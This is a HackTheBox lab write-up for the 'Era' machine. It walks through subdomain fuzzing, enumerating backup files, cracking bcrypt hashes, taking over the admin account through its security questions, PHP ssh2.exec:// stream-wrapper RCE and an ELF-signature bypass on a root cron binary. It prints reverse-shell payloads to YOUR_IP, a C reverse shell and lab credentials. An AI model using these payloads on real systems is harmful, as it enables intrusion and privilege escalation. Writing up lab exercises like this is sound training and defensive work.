HTB: Era Writeup

Era - HackTheBox Writeup

Machine Information

AttributeDetails
NameEra
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Era is a medium difficulty Linux machine featuring an insecure PHP file management application alongside a weakly protected system monitoring service. The attack begins with web enumeration revealing unlinked registration and login endpoints. By accessing a backup file through sequential ID enumeration, credentials can be extracted from a SQLite database. The admin panel is compromised through an insecure security question update mechanism, granting access to a PHP stream wrapper vulnerability that enables remote code execution via SSH2. Privilege escalation exploits a root-executed cron task that validates binaries using ELF signature sections, which can be bypassed by either cryptographically signing a reverse shell or copying the signature section from the legitimate binary.

TL;DR: Enumerate backup files → Extract credentials from SQLite → Compromise admin via insecure security questions → SSH2 stream wrapper RCE → Bypass ELF signature check on cron binary → Root shell.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.56.69

Results:

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)

Two open ports are identified: FTP (21) and HTTP (80). The HTTP service redirects to era.htb, requiring DNS resolution.

Service Enumeration

DNS Configuration:

Terminal window
echo "10.129.56.69 era.htb" | sudo tee -a /etc/hosts

Initial Web Discovery:

Visiting http://era.htb reveals a design firm website with limited useful functionality. Subdomain enumeration uncovers an interesting discovery:

Terminal window
ffuf -w /usr/share/amass/wordlists/bitquark_subdomains_top100K.txt -u http://era.htb \
-H 'Host: FUZZ.era.htb' -fw 4

This reveals file.era.htb, a file management application. Adding it to /etc/hosts:

Terminal window
echo "10.129.56.69 file.era.htb" | sudo tee -a /etc/hosts

PHP Endpoint Discovery:

Directory scanning identifies hidden PHP endpoints:

Terminal window
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-u http://file.era.htb/FUZZ -e .php -fw 2608

Key findings:

  • register.php - Account registration (accessible)
  • login.php - User login
  • manage.php - File management (requires authentication)
  • download.php - File retrieval
  • security_login.php - Security question login

Vulnerability Assessment

  1. Insecure Registration - Account creation available without restrictions
  2. Sequential File IDs - Downloadable files use predictable numeric identifiers
  3. Information Disclosure - Backup files accessible via ID enumeration
  4. Weak Authentication Logic - Security questions can be modified for any user
  5. PHP Stream Wrapper Exploitation - Unsafe use of fopen() with user-supplied wrappers
  6. ELF Signature Validation Bypass - Signature check relies on manipulable ELF sections

Initial Foothold

Step 1: Account Registration and File Enumeration

First, create a test account and log in. After registration, access the file management features. Upload a test file and note the download URL format: http://file.era.htb/download.php?id=X

This sequential ID scheme allows enumeration of existing files:

Terminal window
ffuf -w <(seq 1 1000) -u 'http://file.era.htb/download.php?id=FUZZ' \
-b 'PHPSESSID=YOUR_SESSION_ID' -fw 3161

Results show accessible files at ID 54 and 150.

Step 2: Extract Credentials from Database Backup

Download the backup file at ID 54:

Terminal window
mkdir temp
unzip site-backup-30-08-24.zip -d temp
cd temp

The archive contains filedb.sqlite. Extract user credentials:

Terminal window
sqlite3 filedb.sqlite
sqlite> select * from users;

Output reveals:

1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|...
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||

Crack bcrypt hashes using John:

Terminal window
# Create hash file in format: username:hash
echo "yuri:\$2b\$12\$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2." > hash.txt
echo "eric:\$2y\$10\$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm" >> hash.txt
john hash.txt -w /usr/share/wordlists/rockyou.txt

Results:

  • eric : america
  • yuri : mustang

Additionally, the admin’s username is admin_ef01cab31aa with security answers: Maria|Oliver|Ottawa

Step 3: Compromise Admin Account via Insecure Security Questions

The Update Security Questions function accepts a username parameter without proper authorization checks. Modify the admin’s security answers:

Navigate to the security questions update page and submit:

Username: admin_ef01cab31aa
Answer 1: password1
Answer 2: password2
Answer 3: password3

Log out and use the Security Login feature with the new answers to gain admin access.

Step 4: PHP Stream Wrapper Exploitation

With admin access, analyze download.php source code:

// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
}

The format parameter is concatenated directly into fopen(), enabling stream wrapper abuse.

Step 5: SSH2 Wrapper Enumeration via FTP

FTP access reveals installed PHP extensions:

Terminal window
ftp era.htb
# Username: yuri
# Password: mustang
ftp> ls
ftp> cd php8.1_conf
ftp> ls
# Lists: ssh2.so among other extensions

The SSH2 extension is installed, enabling the ssh2.exec:// wrapper for command execution.

Step 6: Remote Code Execution via SSH2 Stream Wrapper

Set up a listener:

Terminal window
nc -lvnp 9001

Using Burp Suite, capture a request to download.php?id=54 while logged in as admin. Craft the payload:

ssh2.exec://eric:america@localhost:22/bash -c "bash -i >& /dev/tcp/YOUR_IP/9001 0>&1"

URL-encode and construct the final request:

GET /download.php?id=54&show=true&format=ssh2.exec://eric:america@localhost:22/bash%2B-c%2B%22bash%2B-i%2B%3E%2526%2B/dev/tcp/YOUR_IP/9001%2B0%3E%25261%22%23 HTTP/1.1
Host: file.era.htb

The # symbol terminates the URL, preventing the filename from being appended.

Result:

Terminal window
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [YOUR_IP] from (UNKNOWN) [10.129.56.69] 57644
bash: cannot set terminal process group (5157): Inappropriate ioctl for device
bash: no job control in this shell
eric@era:~$

Retrieve the user flag:

Terminal window
cat /home/eric/user.txt

Privilege Escalation

Step 1: Process Monitoring and Cron Discovery

Check group membership:

Terminal window
id
# uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)

The user belongs to the devs group, which may grant special privileges. Monitor running processes:

Terminal window
# Download pspy64 from your host
wget http://YOUR_IP/pspy64s
chmod +x pspy64s
./pspy64s

Key observations in process output:

UID=0 /bin/bash /root/initiate_monitoring.sh
UID=0 objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
UID=0 openssl asn1parse -inform DER -in text_sig_section.bin
UID=0 /opt/AV/periodic-checks/monitor

A root cron job executes a monitoring binary and validates its ELF signature section (.text_sig).

Step 2: Examine Protected Directory

Check the monitoring directory:

Terminal window
cd /opt/AV/periodic-checks
ls -la
# total 32
# drwxrwxr-- 2 root devs 4096 Nov 18 11:56 .
# -rwxrw---- 1 root devs 16544 Nov 18 11:56 monitor
# -rw-rw---- 1 root devs 307 Nov 18 11:56 status.log

The devs group has read/write access! View the status log:

Terminal window
cat status.log
# [*] System scan initiated...
# [*] No threats detected. Shutting down...
# [SUCCESS] No threats detected.

The script checks for threats by validating the binary’s signature. If the .text_sig section is missing, it logs an error.

Step 3: Create Reverse Shell Binary

Create a reverse shell source code file:

Terminal window
cat > shell.c << 'EOF'
#include <stdlib.h>
int main() {
system("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
return 0;
}
EOF

Host and download:

Terminal window
# On your host
python3 -m http.server 80
# On victim
wget http://YOUR_IP/shell.c
gcc shell.c -o shell

Step 4: Method 1 - ELF Binary Signing

Extract the signing tools and keys from backup file ID 150:

Terminal window
# Download signing.zip (ID 150)
unzip signing.zip

The archive contains key.pem (private key) and x509.genkey (certificate config). Use the linux-elf-binary-signer tool:

Terminal window
# On your host
git clone https://github.com/NUAA-WatchDog/linux-elf-binary-signer.git
cd linux-elf-binary-signer
sudo apt install libssl-dev openssl binutils
make
# Copy shell binary and signing materials
cp /path/to/shell .
cp /path/to/key.pem certs/
cp /path/to/x509.genkey certs/
# Sign the binary
./elf-sign sha256 certs/key.pem certs/key.pem shell

Output:

--- 64-bit ELF file, version 1 (CURRENT), little endian.
--- 31 sections detected.
--- Section 0016 [.text] detected.
--- Length of section [.text]: 263
--- Signature size of [.text]: 458
--- Writing signature to file: .text_sig

Upload the signed binary:

Terminal window
# On your host
python3 -m http.server 80
# On victim
cd /opt/AV/periodic-checks
wget http://YOUR_IP/shell
cp shell monitor

Start listener and wait for cron execution:

Terminal window
nc -lvnp 4444

Step 4 (Alternative): Method 2 - Signature Cloning

Without the signing tool, clone the signature from the legitimate binary:

Terminal window
cd /opt/AV/periodic-checks
# Dump the signature section from the legitimate monitor binary
objcopy --dump-section .text_sig=text_sig /opt/AV/periodic-checks/monitor
# Compile the shell
gcc shell.c -o shell
# Add the signature section to the shell
objcopy --add-section .text_sig=text_sig shell
# Overwrite the monitor binary
cp shell monitor

Start listener:

Terminal window
nc -lvnp 4444

Within moments, the cron executes and delivers the reverse shell:

Terminal window
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [YOUR_IP] from (UNKNOWN) [10.129.56.69] 39660
bash: cannot set terminal process group (9542): Inappropriate ioctl for device
bash: no job control in this shell
root@era:~#

Retrieve the root flag:

Terminal window
cat /root/root.txt

Attack Chain Summary

Subdomain Enumeration (file.era.htb)
Directory Scanning (register.php, download.php)
Account Registration
Sequential File ID Enumeration
Backup File Download (site-backup-30-08-24.zip)
SQLite Credential Extraction
Insecure Security Question Modification (Admin Takeover)
PHP Stream Wrapper Analysis
SSH2 Extension Discovery via FTP
SSH2.exec:// Remote Code Execution
Eric User Shell
Cron Process Monitoring (pspy64)
ELF Signature Section Validation Discovery
Signature Cloning / Binary Signing
Monitor Binary Overwrite
Root Shell via Cron Execution

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ffufSubdomain and directory brute-forcing
sqlite3Database inspection and credential extraction
johnBcrypt password hash cracking
burp suiteHTTP request interception and modification
ncReverse shell listener
pspy64Process and cron monitoring
objcopyELF binary section manipulation
gccC source code compilation
opensslCertificate and signature verification
linux-elf-binary-signerELF binary cryptographic signing

Key Learnings

Techniques Practiced

  • Subdomain enumeration and vhost fuzzing
  • Sequential parameter brute-forcing and ID prediction
  • SQLite database extraction and analysis
  • Bcrypt hash cracking and credential recovery
  • Authentication bypass via privilege escalation of security mechanisms
  • PHP stream wrapper exploitation (ssh2://, php://)
  • Process monitoring with pspy to identify privileged cron tasks
  • ELF binary structure manipulation (.text_sig sections)
  • Binary signature validation bypass techniques
  • Reverse shell payload delivery and execution

Lessons Learned

  1. Backup files are critical assets - Unlinked backup downloads revealed credentials and application architecture. Always search for development/backup artifacts.

  2. Security questions are often weakly protected - Allowing arbitrary users to modify security questions for other accounts defeats authentication entirely. Input validation must enforce user-scope restrictions.

  3. Stream wrappers enable code execution - PHP stream wrappers like ssh2://, php://, and filter:// bypass normal file access restrictions. User-supplied format parameters should never be directly concatenated into fopen() calls.

  4. Cron jobs executed as root are high-value targets - Process monitoring reveals privileged automated tasks. Writable directories containing root-executed binaries are exploitation goldmines.

  5. ELF signature checks can be bypassed - Relying on ELF sections for integrity validation is weak without proper cryptographic verification. Section manipulation via objcopy or legitimate signing tools can trivially bypass such checks.

  6. Group membership matters - Users in the devs group gained write access to root-owned binaries. Careful attention to file permissions and group assignments is essential.

  7. FTP reveals system configuration - Configuration directories exposed installed PHP extensions, enabling identification of available stream wrappers for exploitation.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>